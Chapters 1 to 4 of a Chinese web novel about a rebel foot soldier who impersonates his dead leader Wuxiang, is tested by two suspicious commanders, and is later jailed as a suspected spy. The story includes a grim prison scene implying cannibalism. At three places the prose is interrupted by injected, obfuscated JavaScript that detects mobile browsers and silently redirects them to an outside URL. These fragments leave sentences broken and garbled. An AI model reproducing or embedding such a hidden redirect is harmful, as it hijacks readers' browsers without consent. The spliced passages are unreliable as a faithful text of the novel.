《伪装成王》 1. 第 1 章 乌镶月认为自己遇见了千载难逢的机会。 作为反叛组织加卡托兰的底层小喽啰,能做的最有价值的工作,也不过是和其他面目凶悍的同事一起结成长队,到大街上威吓只会屁滚尿流尖叫逃跑的普通人。 但今天,这一切就要发生改变! 因为加卡托兰的创立者、领导者、独裁者——无相大人,正在他的眼前! 这不是乌镶月第一次见到无相大人。在加卡托兰占领了北屿城的那一天,他曾混在街道两旁的人群里,望见过这位站在浩浩荡荡大部队最前列的大人物。 他记得那一天,北屿城的风一如既往很大,吹得面颊通红,吹得皮肤皲裂,吹得骨头缝里都能抠出冰碴。 在这样的日子里,所有人都会躲在家中,闭门不出。 可那天,北屿城城门大开,加卡托兰宣布占领这里,大量身着甲胄的士兵涌入城内,无数人却打开家门,迎着寒风,守在了道路两旁。他们的眼睛第一次比脸颊还红,他们的手指颤抖的比刚出生的马仔还多,他们的声音激动的比婴儿的哭嚎还要难听。 是真的很难听。乌镶月捂着耳朵,望见了他们迎接的大人物。 那人漆黑的衣角被风吹得卷起,如一团滚动不休的黑云,轻易将一切沉默、肃穆、威严,吞入旗下。 只一眼,乌镶月就决定了今后的人生。 ——他要加入加卡托兰,追随无相大人。 只可惜现实与想象总有差距,他在底层兢兢业业工作许久,也没能遇上几个巴结大人物的机会。 不过现在不一样了,无相大人竟然就在他的眼前! 这可是那位深居简出、行踪成谜,连上层要见都得提前请示的大人。 没想到他运气这么好,随便抄个近路就能在这种偏僻的地方,碰见难得一见的无相大人。 乌镶月连待会凑上去打招呼,要怎么说,要用什么语气,要说什么内容都想好了。 至于这位大人为什么出现在这里散步,这不重要。 大人物总是有他们自己的考量,出现在任何地方、做任何事、说任何话,都一定是有意义的。根本轮不到他这样的小喽啰来置喙。 他将要说的话在脑中过了第九遍,确定没有一丝不合适的地方,终于迈出了靠近无相大人的第一步。 对了,记得要亲切,但不能谄媚,谄媚的人大人物不喜欢,他们喜欢低眉顺眼但又有点脾气的狗。 “无相大人……”自我的反复告诫中,乌镶月扬起了笑容。 噗通——! 眼前的黑影一闪,骤然倒在了地上。 咦……?乌镶月笑容僵在了脸上,他刚刚是不是看错了?还是没睡好眼花了? 不然他怎么可能会看见,无相大人被区区一颗小石子绊倒,恶狠狠摔在了地上? 不不不,这当然不可能。 无相大人一定是察觉到了什么,故意卧倒在地的,不然大人肯定已经爬起来了,怎么可能还躺在地上。 对,这一定是对他的考验,考验他是不是真心追随无相大人,能不能理解无相大人的深奥思想,有没有成为无相大人手下的资格。 乌镶月快速改换了一副严阵以待的神色,趴倒在无相大人的身边,小声道:“大人,您发现了什么?是卑鄙无耻的逄星洲派人来偷袭了?还是王族的在这里设下了什么陷阱?您放心,我在这里,即使无法为您战斗,也能帮你传递消息,叫兄弟们过来围殴,啊不,正义的群攻!” 他真是太机智了,乌镶月忍不住得意。 不仅在危机关头和无相大人同生共死,还当机立断同样趴在旁边,顾忌了大人的面子,这种事,一般人做得来吗? 但无相大人一声不吭,似乎并不赞同。 乌镶月额头渗出一点冷汗。不愧是统治整个反叛组织的男人,或许早就看穿了他的这点伎俩,这个时候不出声,明显是想给他压力,让他主动坦白。 他好歹也是在底层混了大半年的人,区区恶心上司的压力罢了。 “无相大人,”他把头低得更深,语气更为谨慎,“您察觉到的是机密吗?抱歉我不是故意打探的,您不必为此发怒,作为您的下属,对组织忠心耿耿的兵卒,我绝对会保守秘密,为大人鞠躬尽瘁死而后已。” 这一番感天动地的言论,乌镶月自己都快信了。 但无相大人还是沉默,似乎仍不满意。 乌镶月后背也开始冒冷汗了。很好,不愧是领导他们一路占领拉加帝国一半国土的人,根本不会轻信他这种小卒子的话。但想要用沉默逼退他,是不可能的! “无相大人,我带了面包。”他用前所未有,温柔到滴出水的语气说,“当然,我不是让您吃这种平民的食物,但您直接与地面接触,实在有损您的尊重气质,也对您尊贵的身体不利。这块面包,可以帮您隔绝地面,不与污泥为伍,您认为如何?” 事已至此,只能献祭他刚刚买的香香软软小面包,换取无相大人的宽恕了! 可无相大人仍然一言不发。 乌镶月有点不爽了。他都贡献面包了,还想怎样!不就多说了两句话,至于这么生气,到现在都不说一句话吗? 什么大人物,看不起食物的,都是垃圾! 他正想发作,又想起来,无相大人即将搞定拉加帝国的王室,开启新时代了,现在还不能和他闹翻。 “大人,您不说话,我就当您同意了。” 他以迅雷不及掩耳之势,扯起了无相的斗篷,准备把面包精准塞到他的身下。 然而力度过大,斗篷一散,竟将原本掩藏得严严实实的脸露了出来。 无相大人的脸! 乌镶月承认,他确实是有点好奇,一直以来神秘的无相大人,到底长什么样。 虽然有传说称,看过无相大人真面目的都死了,但这只是传说嘛,传说总有夸大的地方,所以、所以,只是一下下,只是偷看一下的话,应该没事吧? 他迅速用堪比X光的目光,扫视了一下那张脸。 和想象中威严霸气举世无双的长相不一样,哦不,他当然不是在侮辱无相大人,只不过这张脸确实平平无奇,像是个无趣刻板的中年男人,唯一有点新奇的,大概也就他额头的红色纹身,还有灰白色的瞳孔了。 乌镶月刚想顺着长相的话题恭维几句,比如英武不凡、气势磅礴,就发现了一件更值得夸赞的事。 他眼睛一亮,语气极其谄媚, “不愧是无相大人,您的红色纹身居然还会动的,实在是世所罕见的技术,简直就像是真正的……” 鲜血一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845861|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 还有灰白色的瞳孔…… “冒、冒犯了。”乌镶月咽了口口水,颤颤巍巍,一手伸向了无相大人的鼻下,一手按上了他的脖颈。 冰冷的、安静的。 即使他做出如此冒犯的行径,也没有人会来叫停他。 因为毫无疑问——他面前的这个人,已经死了。 “夭寿了——!” 乌镶月连滚带爬,远离了死掉的无相,拔腿就想跑回大本营,把这个可怕的消息告诉大家。 完蛋了,完蛋了,无相大人死了! 他脑子乱糟糟的,全部都是一些可怕的幻想,第一次亲眼见证这样一个大人物死在眼前,他的冲击力比看隔壁家杀猪大多了。那些猪本来就会死,没什么好怕的,但无相大人,怎么会就这么死了呢! 他们组织之所以壮大,全因无相大人的领导,他死了,群龙无首,还怎么掰倒拉加帝国? 赢不过拉加帝国,作为反叛组织,名义上的大反派,他们一定会被赶尽杀绝。 不行,他得在被赶尽杀绝之前逃跑! 乌镶月脚下一转,准备换个方向。 可往哪里去呢?为了追随无相大人,沾个从龙之功,他抛家弃猫,现在压根没有可以回去的地方了啊! 可恶可恶!他的从龙之功,他的梦想,他的未来! 无相大人早死晚死,偏偏在这个时候死,真是一点不会挑日子,至少等打赢胜仗再死啊!哪有这样没用的反派,居然在赢之前被石子干掉了。 可恶,如果无相大人没有死该多好。 如果他没有死,没有死…… 乌镶月紧紧盯着死去的无相,感觉自己后背都快被汗水浸湿,这次却不是畏惧,而是源于战栗。 是了,谁也不知道,无相大人长什么样。 谁、也、不、知、道。 后面的事像一个梦。 他站在第三视角,冷静旁观另一个自己走回无相大人身边,挖出了个大坑,把无相埋了,又穿上了一身标志性的黑袍。 衣角被寒风吹得鼓起,扬起的弧度,与真正的无相大人没有区别。 总之,等他回神的时候,他已经走在大本营的门口,听见一众原本与他同等级的看守,恭敬地呼唤他。 “无相大人,您回来了。” 我都干了什么! 乌镶月在内心尖叫,不敢置信自己居然真的干了这事。 被发现就死定了!他捏紧了手心,祈祷这件衣袍不会暴露自己刺耳的心跳,一声不吭,慢慢走了进去。 谁知道平时无相大人怎么说话的?大人物根本不用和小喽啰说话。 守卫们似乎没有发现异常,行了个礼,就回了原处。 过关了。 乌镶月还没来及松口气,面前就闪现了一个人。 对方拥有狐狸一样的眼睛,笑起来总有股子狡猾阴险的味道。事实也确实如此。 他是加卡托兰七星之一,谋略家——颜诡。 此刻,这位传说中算无遗策的高层人物,正不知为何紧紧盯着他,毫不掩饰自己的若有所思,还笑眯眯地打招呼。 “无相大人,恭候多时了。我们的作战会议,可不能缺了您的指导,请跟我来吧。” 乌镶月:……完蛋。 2. 第 2 章 颜诡觉得今日的无相很奇怪。 尽管无相本来就是个奇怪的人。不仅不愿露出真面目,行踪成谜来历不明,而且每隔一段时间都会莫名消失。 但今天的无相,比起之前更为奇怪。 面对他唐突的会议邀请,没有当场训斥,挥袖而去,竟然还真跟在了他身边,要一起去开会。 这可真是件稀奇事。 颜诡打量着侧前方的无相,没能从厚重黑袍的遮掩下看出什么来,只觉得今日的无相走路速度慢了些许。 难不成是年纪大了腿脚不行了?他不无恶意地猜想着,也升起怀疑。 ——糟老头子到底在搞什么鬼? 乌镶月感受到来自身后的视线,如果不是黑袍挡着,他满头冷汗、两股战战的样子肯定都要被看个一清二楚了。 他怎么看了我这么久?他是不是发现了?我是不是要完了? 诸如此类的猜想,一直徘徊在脑海中。 不行,不能坐以待毙,要不还是先认错,说自己一时鬼迷心窍,才假冒无相大人,应该能得到原谅吧? 对,听说颜诡大人不是很严厉的人,只要明白事情原委,知道他其实是不希望无相大人的死会引发混乱,是一片赤诚忠心,一定会理解的! 乌镶月越想越觉得,比起冒险假扮顶头上司,还不如把这件事直接抛给有能力的上层人士,反正他们什么都会处理的。 他思索了一遍说辞,“颜……” “颜诡大人!” 一道声音忽然插入,一个军装男人匆匆从门口跑了过来。 “什么事?”颜诡瞥了眼前方安静等待的无相大人,心中越发觉得蹊跷。 “我们发现了两个间谍。”那人崇拜的视线在黑袍男人身上停了一下,又移开了,“请问要如何处置?” 间谍?乌镶月没想到间谍如此猖狂,竟然都混入他们之中了,不过这种机密他现在听了,真的没关系吗? “如何处置?”颜诡弯了弯狐狸眼,不知有意无意,面朝乌镶月。 “对于这种混入我们之中,假扮组织成员的人,自然是要严惩不贷,我想想,抽筋拔骨、千刀万剐……如何?无相大人。” 乌镶月一瞬间脊背发凉。 为什么要问我!他是不是发现了?他在暗示什么? 不行,不能暴露,他咬紧牙关,将差点送掉的马甲紧了紧。这混蛋也不是个好人,动不动扒皮拆骨的,要是被知道他不仅假扮无相,还听了机密,指不定要怎么杀他。 颜诡耐心等待了一会。 无相没有流露出想象中的惊慌,也没有出声判决间谍的下场。 而是一言不发转过身,视他们如无物,走了。 黑袍翻飞中透着无言的冷漠,似乎不想在这种无聊的事情上浪费时间。 这倒是符合平时那人的作风了。颜诡思索着,对一旁等待的男人说,“按以前的办法,先关起来。” 随后他三两步追上无相的脚步,笑吟吟开口:“无相大人,您刚刚是有话要对我说吗?恕我愚钝,没能听清您的指示,能否再说一次?” 说个屁说!乌镶月捏紧拳,要不是知道打不过,恨不得一拳揍上那张狐狸脸。 面对自己的直属上司,居然还敢试探个没完,简直可恶! 想是这么想,但为了防止暴露,他还是一个字也没有说。 没有人能逼着大领导说话,没有! 不知道无相大人是不是类似的作风,见他不答,颜诡竟没有追问,但明显没有停止思考,乌镶月还是能感受到背后时不时传来的视线。 切,看吧看吧,反正你又看不出个洞来。他暗自腹诽。 两人各怀心思,走完了这一截不长的路,来到了会议室。 “嗯?看看今天刮了什么风,竟然把我们的无相大人请来了。” 还没进门,一个红发绿眼的俊美青年已经翘着脚,大咧咧坐在了主位上,一见到他们,就扬了扬眉。 “摩菲,你坐错了地方。” 颜诡出声提醒,似乎话里有话。 乌镶月一下子明白,这位就是摩菲·戈尔德,同样身为加卡托兰七星之一,是大名鼎鼎的情报处理专家,据说整个王城都没有他不知道的秘密。但他本人很少出现在下层,至少他不曾见过。 摩菲·戈尔德似乎才注意到在场还有另一个人,绿瞳一转,语气夸张:“哎呀,原来咱们大名鼎鼎的谋略家先生也在,需要我给您让个位置吗?” “不劳烦你。”颜诡摆出招牌式的狐狸笑,往旁边站了站,将乌镶月露了出来,“无相大人先请。” 摩菲看了眼颜诡,又看了看一身黑袍的无相,当真爽快地将位置让了出来,还行了个不伦不类的礼。 “请吧,无相大人。” 奇怪的很,明明无相大人是他们的上司,怎么感觉这两人态度怪怪的,偏偏表面功夫又没什么问题。 在两人虎视眈眈的注视下,乌镶月忍住发毛的感觉,慢吞吞移动到了主位上。 “今日的无相大人行事倒是……”他才刚坐稳,摩菲眉毛一挑,好似将某个词在唇齿间转了一圈,又换了个更不冒犯的,“倒是……颇为内敛。” 这个词本就叫乌镶月心惊,结果颜诡也跟着接话。 “无相大人本就与常人不同,不拘一格。不过今日确实非常安静,难不成大人伤到了喉咙,现在无法说话?” 摩菲略显诧异,看了金发狐狸眼青年一眼,轻笑:“没想到颜诡大人也有赞同我的一天。” 大胆!竟然敢咒上司哑巴。 乌镶月忍气吞声,又不得不思考对策。 即使只见过真正的无相大人一面,他也能看出来,那位大人不是个优柔寡断的性格。他如今这般沉默,肯定会被怀疑。 可要怎么办,才能不被怀疑? 他飞速思考的时候没有注意到,摩菲的眼神逐渐古怪了起来。 ——一身黑袍的无相坐在主位上,与以往姿态放松不同,身体隐约是紧绷的。 难道是紧张?那位无相? 这两个词连起来都让摩菲觉得好笑,但作为加卡托兰人尽皆知的情报专家,他的感官传达了更多细微的问题。 即使有黑袍遮掩,无相的身形也比之前显得瘦小了些。 身高会突然变化吗?之前的脚步声也轻了,体重也变轻了?还是说无相到了年龄,开始萎缩了? 另外……他鼻子微微耸动,敛下眉眼。 之前无相身上气味很淡,淡到几乎难以察觉,这次见到的无相,身上食物的味道颇为浓重,是刚吃过面包? 种种迹象,可疑得他几乎要怀疑,坐在面前的压根不是无相,而是一个不知道从哪里偷了无相的衣袍,假扮他的狂妄之徒。 而现在,这位胆大妄为的假扮者一直沉默,说不定……是为了掩饰嗓音问题? 这倒是有点意思,他眯了眯眼,笑吟吟开口。 “无相大人。” 红发青年极其自然走近了一步,从繁复的外套口袋里拿出一个小玻璃瓶,“您若是不慎伤到了喉咙,我这里有新得到的炼金药剂,一定能帮到您。” 小玻璃瓶里沉淀着墨蓝的液体,被白皙的手指推到了乌镶月面前。 颜诡在一旁看着,没有出声阻止。 乌镶月盯着面前的药剂,额头冷汗涔涔。 喝还是不喝,这是个问题。 喝了,指不定这是瓶毒药,当场就噶掉。不喝,他可能会暴露自己的身份,被当场拿下。 如今真是骑虎难下,进退两难了。 “无相大人,是看不上我的药剂吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845862|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >偏偏这时摩菲收了笑容,碧绿的眼眸如同某种无机质的玻璃,紧紧盯着他,如同无声的逼迫。 不行,不能这样下去了,连颜诡都快变成怀疑脸了! 乌镶月克制着深呼吸的想法,做出了决定。正义主角才做选择,真正的反派当然是…… “砰——!” 一直对他们的言语逼迫毫无反应的无相,忽然起身,一袖子甩开了桌上的药剂。 药剂瓶摔出桌外,瓶身断裂,墨蓝的液体散落一地。 颜诡和摩菲来不及惊讶。 冷漠、低沉、平静,让人联想到掀过北屿城的寒风、坠落在屋檐下坚冰的声音响起。 “这就是你们要我指导的大事?” 这分明正是无相的声音! 猜错了? 颜诡反应迅速,恭恭敬敬低下头,“无相大人,我无意冒犯,您的存在对我们至关重要,属下只是一时被担忧冲昏了头脑。但请您相信,若无您允许,我绝不会随意打探您。” 这是在给他上眼药!摩菲强压怒火,感觉自己被颜诡摆了一道,也跟着为自己辩驳。 “无相大人,我绝无恶意。只是颜诡大人似乎对您有所怀疑,我才顺水推舟,想为大人验一验。您知道的,近日颜诡的计划总是与您的期望有所偏差,或许是有了别的心思。” 颜诡哪能不知道这是引火烧身,立刻反唇相讥,“摩菲这话我倒是听不太懂,无论何种计划,都不可能百分百没有意外。你这样说,难不成最近无相大人要求的那些情报,已经一字不差、绝无偏漏了?” “至少我的情报准确性比某些人的计策,要可靠得多。” 眼见两人推卸责任,吵成一团,乌镶月终于松了口气。 还好黑袍里自带了转换声音的炼金装置,不至于让他一开口就露馅。 兴师问罪果然是转移矛盾的最好办法,讨厌上司的言传身教还真有用。 所谓的大人物吵起来,和他们市井小民也没什么区别嘛。 不过他们要吵到什么时候? 乌镶月刚好奇了一下,目光一转,忽然感觉不太对。 他见过真正吵得想致对方于死地的人。面前这两人看似吵得不可开交,愤怒之色溢于言表,但怎么说呢,总有种……奇怪的克制。 没有指着鼻子骂的激励,话语里也没有完全把揭短的内容说出来,模糊了重点,就好像、就好像……这场吵架是故意做出来的。 故意? 乌镶月一瞬间汗毛倒竖。 他几乎下意识做出了反应。 “都给我闭嘴!” 男人的厉声呵斥,伴随着汹涌的威压,充斥了整个会议室。 “你们要闹到什么时候!给我说正事!” 颜诡和摩菲一顿,两人交换了一个眼神,默契地闭上了嘴。 乌镶月看在眼里,心头一梗。 啊呸,这两人真是心眼子多得跟莲藕一样,都到了这个时候,居然还拿吵架来测试他是不是真正的无相大人。 如果是真的无相大人,这个时候就该把他们叉出去吊起来了! 相反,冒充无相大人的间谍之类,就会很乐意听他们在争吵时透露出一些不能说的消息了。 唉,他此刻是真的想问一问死去的无相大人,到底怎么驯服这两玩意的。 “无相大人,先前失礼了。” 他正心累着,颜诡不知从哪拿出一沓子纸,摆在他面前。 “其他人分身乏术,今天的会议只有我们三人。这是主要的会议内容,请您帮忙决断。” 会议? 乌镶月回忆自己参加过的所谓会议,领导要做的事大概就是点头摇头,简单得很。 过了这关就赶紧开溜吧。 他漫不经心看向纸张,目光忽然顿住了。 3. 第 3 章 乌镶月灰头土脸回到了家。 说是家,但其实是加卡托兰组织发给他们这些小喽啰的集体住所。收缴了贵族占领的地盘后,加卡托兰将普通住宅分发出去,扩大组织。这座小楼房就是其中之一。 当然,作为小喽啰,他不可能拥有一整座楼房,他只有其中一个房间,在三楼,自带洗漱间,食堂公用,用来居住绰绰有余。 “阿月,你回来啦,怎么一副垂头丧气的样子?” 刚进一楼大厅,就有人喊他。 乌镶月眼皮都没掀,“没什么,面包掉了。”掉在了人生的大坑里。 “你呀,不要总是把目光放在区区的食物上,我们可是加卡托兰的人,眼光要更长远一点!比如有没有打听到什么有趣的消息?” 对方哥俩好地揽住他的肩膀,又想揉他的头发,被他一侧头避开了。 这人是汤姆,作为这一块最喜欢打探消息的人,小到哪家的猫生仔,大到上面新出的政策,都知道得一清二楚。不听他的八卦,总有种亏了的感觉。 “没有,不知道。有什么事吗?汤姆先生。” 汤姆被他嫌弃也没恼,低头贴过来,神秘兮兮地问他,“阿月,你听说了吗?上面下达的命令。” 乌镶月一听上面这个词就头疼,但他又该死地好奇到底发生了什么。 “什么命令?” 汤姆鬼鬼祟祟左右看看,才凑近他耳边,小声道:“我们要正面和帝国军打起来了。” 乌镶月心底一沉,果然是这件事。 他不动声色问,“还有别的消息吗?” “别的?”汤姆反而愣了一下,挠了挠后脑勺,“还有什么别的消息,其他的和平时一样,我们照常按照上面给的计划进攻防守就好了啊。” 他似乎理解乌镶月的担忧,拍了拍他的肩膀:“别在意,像你我这种去不了前线的,顶多在后方吓唬那些平民,别让他们大呼小叫,或者偷偷出去通风报信,光这样就能捞到不少油水啦,打仗可是好事。” 乌镶月沉默着点头,作为背景板反派,这是本分工作。 “哦。”他回了一个冷漠的字眼。 汤姆顿时没了继续聊天的心情,随手从口袋里找了块干巴巴的饼塞给他,挥挥手道别。 “你回去休息吧,天可怜见的样儿。对了,这事我可只和你说过,别跟其他人说嗷。” 一般来说,汤姆嘴里的“只和你一个人说过”,代表所有人都知道了。 乌镶月揣着那块饼,捏了捏它可以砸得人头破血流的硬度,第一次失去了对食物的兴趣。 糟心。 不只是食物,还有如鲠在喉的秘密。 汤姆所说的命令确有其事,毕竟,那是他两个小时前才同意的计划。 但他说的也不对。 这个计划的全名为——诱敌计划。 诱敌,引诱敌人。 光从字面就能理解,这是引诱帝国军进入陷阱的计划。正常来说,这不是问题。 但偏偏诱敌的地点,选择了这座城市——北屿城与西泽城的边界城市。 自然而然的,诱敌的第一人选,就是这座城市里的加卡托兰组织成员。 所以包括他这样的小杂兵在内,炮灰到精英,都会是计划中的一员。 当时,乌镶月坐在会议室里,翻看那本计划书,越看越觉得心惊肉跳。 计划本身很好,从情报战、攻防过程到最后假意撤退实际诱敌深入杀个回马枪,都很详细,足以看出计划者的心思缜密、思虑周全。 如果是真正的无相大人,看到这里说不定会称赞一句。 可他不是。 他是这个计划里,要推出去诱敌的倒霉蛋之一。 乌镶月不是傻子,即使没有参与过类似的计划,光从后期计划书里的人数预估就看得出来,前期的人数损耗必不可少。 战斗力强精英们姑且能活,他这种小菜鸡就不一定了。 垃圾组织,垃圾决策,垃圾上司,全都去死!他加入加卡托兰,又不是奔着找死来的! 他想说不干,但那个会议室里,无论是颜诡,还是摩菲·戈尔德,都对这个计划中的死伤毫不在意,他们只问他, “无相大人,还有需要更改的地方吗?” 那一刻,乌镶月愤懑的心情宛如被泼了一盆凉水,一下子冷静了。 对了,他现在不是乌镶月,不是计划里的无关紧要的炮灰,他现在……是无相。 是能够做出决定,改变计划的无相。 于是他壮着胆子,开口说出了那个字。 “改。” 摩菲一听这话就乐,“哈,我就说,某些人的策略已经偏离无相大人的预期,完全没有章法了。” 颜诡冷冷睨了红发青年一眼,又诚恳发问,“无相大人,这是遵从您的指示制定的计划,请问在下有哪里设计的不对?” 哪里都不对!等等,这计划是无相大人提出来的? 不愧是邪恶大反派,牺牲小弟毫不在意。 但这样一来,他要否决这个计划会不会显得很奇怪? 真正的无相会朝令夕改吗?要是不会,他是不是一下子就会暴露? 纠结的思绪之中,乌镶月闭了闭眼,算了,眼下必须拖时间保住小命! “我改主意了,诱敌不行。” 黑袍男人的声音低沉冷漠,轻易否决了某个谋略家花费了大半个月制定的计划。 颜诡差点眼前一黑。他回忆着那些日夜修修改改的废弃计划书,以及不知不觉脱落的头发,有一瞬间难以抑制冲动,想把不做人的上司一脚踹出去。 但他是个合格的谋略家,不会轻易表现出情绪,依旧保持了和善的微笑:“那无相大人有了什么新的计划方向?” 有杀气!乌镶月敏锐感觉到了来自左边的动静。 坐在左边的只有颜诡,难不成他发现我不是真的无相,现在想要杀人灭口了? 他谨慎地思索了一番,决定挣扎一下,“摩菲,你认为呢?” 发动吧,祸水东引大法! “我?”摩菲一愣,似乎没想到这事还有他的份,但他和颜诡不对付,能唱反调的机会自然不会放过,“无相大人说的对,我也觉得这个计划不够好。费时费力,伤敌一千自损八百,一点意思没有。” 面对摩菲,颜诡就直白多了,冷气嗖嗖往外冒,“那阁下有何高见?这个计划不妨交给你做?” 摩菲显然很清楚自己几斤几两,眼珠子一转,就把话题绕了回来,“高见没有,但无相大人肯定已经有主意了,对吧?” 没成想眨眼间,又变成了自己的锅,乌镶月面对两人的目光,只觉得组织药丸。 一个备用计划都没有,什么垃圾组织。 但在如今的压力下,他想反对这个计划,就必须给出取代的办法。于是思索了半天,他憋出了一句。 “……现在时机没到。” 颜诡:“……” 摩菲:“……” 幸好无相大人的余威尚在,颜诡和摩菲·戈尔德没有过多质疑,只说等他告知时机。 乌镶月假作同意,下一秒就脚底抹油,快快地逃走了。 开玩笑,等个屁等,还不赶紧卷款跑路! 这就是他现在埋头收拾东西,连饭都顾不上吃的原因了。 虽然他还没想好要跑到哪里去,但总之要避开可能交战的区域,不能再被一不小心当炮灰使了。东边不行,逄星洲大本营在那里,西边也不行,快开战了。南面水路难走,但至少不好攻打。 正思索着往哪里跑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845863|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咚咚”,敲门声响起。 乌镶月漫不经心去开门,门缝打开,对面的身影还没显露,他忽然意识到不对。 加卡托兰里和他有交情的没几个,但这些人,作为反派小弟,大家都是边敲门边用扰民的音量大喊的,怎么可能这么安静? 那是谁来找他? 他猛地惊醒,想把门关上,对方似乎察觉到了他的想法,一手抵住了门,用力一撞! 乌镶月猝不及防,往后退了两步。他紧紧盯着门口,一手按向了后腰。 门开了,出乎意料,三五个大汉人手一把长枪,带着浓重乡音,粗声粗气开口。 “乌小月是吧,跟我们走一趟。” 长枪队! 不过比起这个正规名,大家私底下更喜欢叫别名——处刑队,专门抓叛徒、间谍和犯罪者。 乌镶月心脏怦怦直跳,不是吧,他刚想逃跑,长枪队的就来抓他了? 面上他维持了镇定,手从后腰放下,“我不是乌小月,你们找错人了。” “不是?” 为首的大汉眯了眯眼,上下打量他一番。 “黑头发、黑眼睛,弱不禁风的身材,娘们兮兮的长相,就是你!带走!” 什么娘们兮兮!这叫俊秀、俊秀懂吗!王都那边就流行他这样的长相呢! 但长枪队大汉们没有给他辩驳的机会,直接派了两个人,一人一只手,架稻草人一样给他两脚悬空拽起起来了。 不幸的是,弱不禁风是真的,他挣扎无果,只能眼睁睁看着自己的门还没关,就被带出去了。 这些人的抓捕过程声势浩大,楼里不少人都来看热闹。 他甚至看见隐蔽处的汤姆瞪大了眼,一副震惊的样子,更糟糕的是,下一秒,汤姆就扭过头,和旁边人绘声绘色说了些什么。 完蛋了,乌镶月充分意识到了这一点,他的流言从今天起要散播到整个加卡托兰了。他根本不敢想传言中的自己现在是个什么形象。 “你们为什么要抓我,我什么都没做!” 路上他试图打探消息,至少死得明明白白。 “……哼,这种话,你和大人们说去吧!” 但直到他被关到地下牢房,他都没能问出来为什么要抓他。 地下牢房以前是某户贵族家的,也不知道干过什么,总有一股挥之不去的血腥气与腐臭味。鼻子灵敏的人进来这里几乎是种折磨。 乌镶月被这股味道恶心得呕了一下,环顾一圈,除了溅落的血迹残留和不知名生物的骨头,什么都没有找到。 连个马桶都没有,还不如不看,越看越糟心。 他勉强找了个干净的角落坐下来,想要放空思维,像某些文艺小说里那样,摆出一副忧郁清新的姿态,再思索一下现状。 隔壁牢房犯人咔嚓咔嚓啃着什么的声音却吸引了他的注意。 “你在吃什么?” 黑暗里看不清神色的人顿了下,似乎笑了笑,露出一口沾着血丝的白牙,“当然是肉了。” “这里待遇这么好?还有肉吃?”组织居然真的待他们不薄。 “哈哈,那当然,你要来一点吗?” 随着看清那人从阴影中递出的东西,他一瞬间变了脸色。 那绝非羊或牛的骨头。 “你……这是哪里来的?” “哪里来的?”那人似乎又笑了,“你不知道吗,囚犯们的牢房可是互通的。” 靠! “砰砰砰”,乌镶月奋力拍打牢房门,掩着口鼻大声呼唤:“救命、救命,我是无辜的!” 看守们远在上层,大概是听惯了这类话,压根不搭理他。 他立马换了口吻:“我招,我都招!救命,救命,快放我出去!” 现在是真的生死攸关了! 4. 第 4 章 大概十分钟后,一脸萎靡的乌镶月终于被放了出来。 他恍恍惚惚,不知道自己这十分钟是怎么度过的,某些不可言说的声音与气味,冲击得他一阵恍惚。 没想到反派组织的手段如此狠辣。 竟然会用这种招数,逼迫犯人招供,实在可怕。 忌惮之中,他被领着到了审讯室。 审讯室这种地方总是透着股冷气,光线又偏暗。唯一的灯盏在桌上,看着也不咋亮,不知道是不是买到了劣质品。 乌镶月的视线从灯上移开,刚一进来,坐在对面沙发上翘着脚,翻看资料的人就开口了。 “你就是那个要招供的间谍?说吧,你是谁派来的,做了哪些事,又有什么目的?” 哇,这声音好熟悉,好像不久前才听过呢。 乌镶月抽了抽嘴角,一抬头,果然看见了眼熟的红发青年。 谁能想到,上午他还是这人毕恭毕敬对待的无相大人,下午他们的地位就掉了个个,变成他需要小心应对摩菲·戈尔德了。 不过看这语气,应该不是冒充的事暴露了,还能苟一苟。 首先,需要解释的是,“我不是间谍。” “我什么背叛组织的事都没有做过。”他可是大大的良民,啊不,好成员,什么时候背叛组织了! “你不是间谍?” 摩菲·戈尔德翻开资料的手停下,抬眼看向乌镶月。 都是打量的眼神,这一眼与上午作为无相的时候相比,更让他不舒服。 乌镶月说不出来摩菲那种目光,尽管对方嘴角含着笑意,但看着他的时候,好像在看一只兔子。 那种已经被猎人抓住、开膛放血,就差架上烤炉的兔子。 “对,我不是,你抓错人了。”他梗着脖子,不愿在这种目光下退缩,语气却不知不觉低了好几个度,“我真的不是。” “是吗?”红发青年似笑非笑,“你认识杰夫·李德吗?” 杰夫·李德?那个经常和他一块组队去城里最好吃的面包店、肉干店、甜品店扫荡的家伙? 乌镶月本能感觉到,这个时候的回答得谨慎。 “认识。我们一起出去玩过,但除此之外没有别的关系了。” “哦?这么说,他是间谍的事,你也不知道?” 间谍? 乌镶月一下子想起来,上午他假扮无相大人的时候,听见的那件事——抓到了两个间谍。 合着间谍之一就是杰夫·李德?!他是因为和间谍交往过密,所以才被怀疑的? “我怎么知道?!我只和他一起吃过东西。”这简直是天大的冤枉,他怎么能被当做同伙! 